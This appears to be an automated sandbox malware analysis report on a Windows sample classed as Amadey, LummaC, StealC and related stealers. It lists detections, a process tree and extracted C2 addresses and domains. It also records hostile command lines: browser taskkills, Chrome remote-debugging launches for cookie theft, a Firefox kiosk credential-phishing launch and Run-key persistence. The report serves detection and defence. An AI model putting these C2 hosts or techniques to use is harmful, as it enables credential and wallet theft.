Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577704
MD5:	17773f6ab422d27012d0f813eec77035
SHA1:	e148f243044c22dd5374d41d4d9c5ae066c454cf
SHA256:	34b764f92f6aa319f62bf730e82f02a914cda5c7d7fa665c20a8f2c5430acc4a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 736 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 17773F6AB422D27012D0F813EEC77035)

skotes.exe (PID: 1260 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 17773F6AB422D27012D0F813EEC77035)

skotes.exe (PID: 7564 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 17773F6AB422D27012D0F813EEC77035)

c7af53ccad.exe (PID: 7796 cmdline: "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

c7af53ccad.exe (PID: 7828 cmdline: "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

1375bfecca.exe (PID: 7960 cmdline: "C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe" MD5: 8841698B335573B0ABE7875B85B653D6)

chrome.exe (PID: 4324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2480,i,435901373063125670,2999997122850971056,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

3275f9fb1e.exe (PID: 8164 cmdline: "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe" MD5: 6A31EF4963E7F7D4FCC0927F58A5DBF2)

7847e34378.exe (PID: 4408 cmdline: "C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe" MD5: 3BB75CB881E430E48EC13D73D43ABE49)

chrome.exe (PID: 5004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2308,i,533383946619044519,12791095769116952167,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

59f3adca26.exe (PID: 7304 cmdline: "C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe" MD5: 4E38B1008D236084740A6C44FBC4EBF6)

taskkill.exe (PID: 7376 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6868 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4548 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1340 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3672 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3584 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

2de5083afa.exe (PID: 5012 cmdline: "C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe" MD5: 7BE93AFF7CEF5AD80C82706349B7FED3)

05ca246288.exe (PID: 5268 cmdline: "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

05ca246288.exe (PID: 6816 cmdline: "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

08f77951f7.exe (PID: 1696 cmdline: "C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe" MD5: E7EB9A61AEC1E191DCC006E605C7628E)

3275f9fb1e.exe (PID: 7188 cmdline: "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe" MD5: 6A31EF4963E7F7D4FCC0927F58A5DBF2)

3275f9fb1e.exe (PID: 2008 cmdline: "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe" MD5: 6A31EF4963E7F7D4FCC0927F58A5DBF2)

firefox.exe (PID: 4128 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3412 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6208 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a9f21155-d74f-4b5e-8ecf-36b414f26712} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1cea556e510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6028 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4004 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 4024 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d60e0f46-c8ef-473f-aa85-ffd865e67030} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1ceb752e810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

7847e34378.exe (PID: 704 cmdline: "C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe" MD5: 3BB75CB881E430E48EC13D73D43ABE49)

59f3adca26.exe (PID: 896 cmdline: "C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe" MD5: 4E38B1008D236084740A6C44FBC4EBF6)

taskkill.exe (PID: 916 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3912 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6608 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6240 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2164 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

2de5083afa.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe" MD5: 7BE93AFF7CEF5AD80C82706349B7FED3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["energyaffai.lat", "sustainskelet.lat", "lossekniyyt.click", "necklacebudi.lat", "rapeflowwj.lat", "discokeyus.lat", "crosshuaht.lat", "grannyejh.lat", "aspecteirs.lat"], "Build id": "9Z1cyc--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1767862470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2723142079.0000000005020000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.3259779000.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.3051218491.0000000001472000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1796426349.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2920193259.0000000005600000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000003.3051864216.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000010.00000003.3079090418.0000000001472000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2242783605.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000029.00000003.3063610410.0000000004E70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000029.00000003.3059290024.0000000005590000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 7847e34378.exe PID: 4408	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 7847e34378.exe PID: 4408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7847e34378.exe PID: 4408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7847e34378.exe PID: 4408	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 59f3adca26.exe PID: 7304	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 3275f9fb1e.exe PID: 2008	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3275f9fb1e.exe PID: 2008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3275f9fb1e.exe PID: 2008	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7847e34378.exe PID: 704	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7847e34378.exe PID: 704	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 59f3adca26.exe PID: 896	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 08f77951f7.exe PID: 1696	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
41.3.08f77951f7.exe.5370000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
41.3.08f77951f7.exe.5370000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
41.3.08f77951f7.exe.5370000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.2.file.exe.3c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.0.c7af53ccad.exe.490000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.0.c7af53ccad.exe.490000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
41.3.08f77951f7.exe.5590000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
1.2.skotes.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.c7af53ccad.exe.3ae94e0.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.c7af53ccad.exe.3aa3198.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.c7af53ccad.exe.3aa3198.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
6.2.c7af53ccad.exe.3aa3198.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.c7af53ccad.exe.3aa3198.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x96a23:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x968a7:$s3: {11111-22222-50001-00000} 0x948e7:$s4: get_Module 0xe890:$s5: Reverse 0x84ebe:$s5: Reverse 0x11c92f:$s5: Reverse 0xcd07:$s6: BlockCopy 0x84ba8:$s7: ReadByte 0x96a35:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7564, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3275f9fb1e.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe, ParentProcessId: 4408, ParentProcessName: 7847e34378.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 5004, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7564, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3275f9fb1e.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T17:08:17.490174+0100	2028371	3	Unknown Traffic	192.168.2.4	49764	172.67.131.246	443	TCP
2024-12-18T17:08:23.296089+0100	2028371	3	Unknown Traffic	192.168.2.4	49778	172.67.131.246	443	TCP
2024-12-18T17:08:29.697850+0100	2028371	3	Unknown Traffic	192.168.2.4	49791	172.67.131.246	443	TCP
2024-12-18T17:08:33.113665+0100	2028371	3	Unknown Traffic	192.168.2.4	49801	172.67.131.246	443	TCP
2024-12-18T17:08:37.082611+0100	2028371	3	Unknown Traffic	192.168.2.4	49808	172.67.131.246	443	TCP
2024-12-18T17:08:40.896019+0100	2028371	3	Unknown Traffic	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:08:42.033876+0100	2028371	3	Unknown Traffic	192.168.2.4	49824	172.67.131.246	443	TCP
2024-12-18T17:08:47.187287+0100	2028371	3	Unknown Traffic	192.168.2.4	49839	172.67.179.109	443	TCP
2024-12-18T17:08:49.055030+0100	2028371	3	Unknown Traffic	192.168.2.4	49841	172.67.131.246	443	TCP
2024-12-18T17:08:55.249397+0100	2028371	3	Unknown Traffic	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:08:56.346729+0100	2028371	3	Unknown Traffic	192.168.2.4	49860	172.67.131.246	443	TCP
2024-12-18T17:09:01.918918+0100	2028371	3	Unknown Traffic	192.168.2.4	49873	172.67.179.109	443	TCP
2024-12-18T17:09:02.602786+0100	2028371	3	Unknown Traffic	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:06.568845+0100	2028371	3	Unknown Traffic	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:11.452025+0100	2028371	3	Unknown Traffic	192.168.2.4	49924	172.67.179.109	443	TCP
2024-12-18T17:09:15.256310+0100	2028371	3	Unknown Traffic	192.168.2.4	49940	172.67.179.109	443	TCP
2024-12-18T17:09:16.923070+0100	2028371	3	Unknown Traffic	192.168.2.4	49945	104.21.23.76	443	TCP
2024-12-18T17:09:18.896162+0100	2028371	3	Unknown Traffic	192.168.2.4	49953	104.21.23.76	443	TCP
2024-12-18T17:09:19.772499+0100	2028371	3	Unknown Traffic	192.168.2.4	49955	172.67.179.109	443	TCP
2024-12-18T17:09:24.158399+0100	2028371	3	Unknown Traffic	192.168.2.4	49973	172.67.179.109	443	TCP
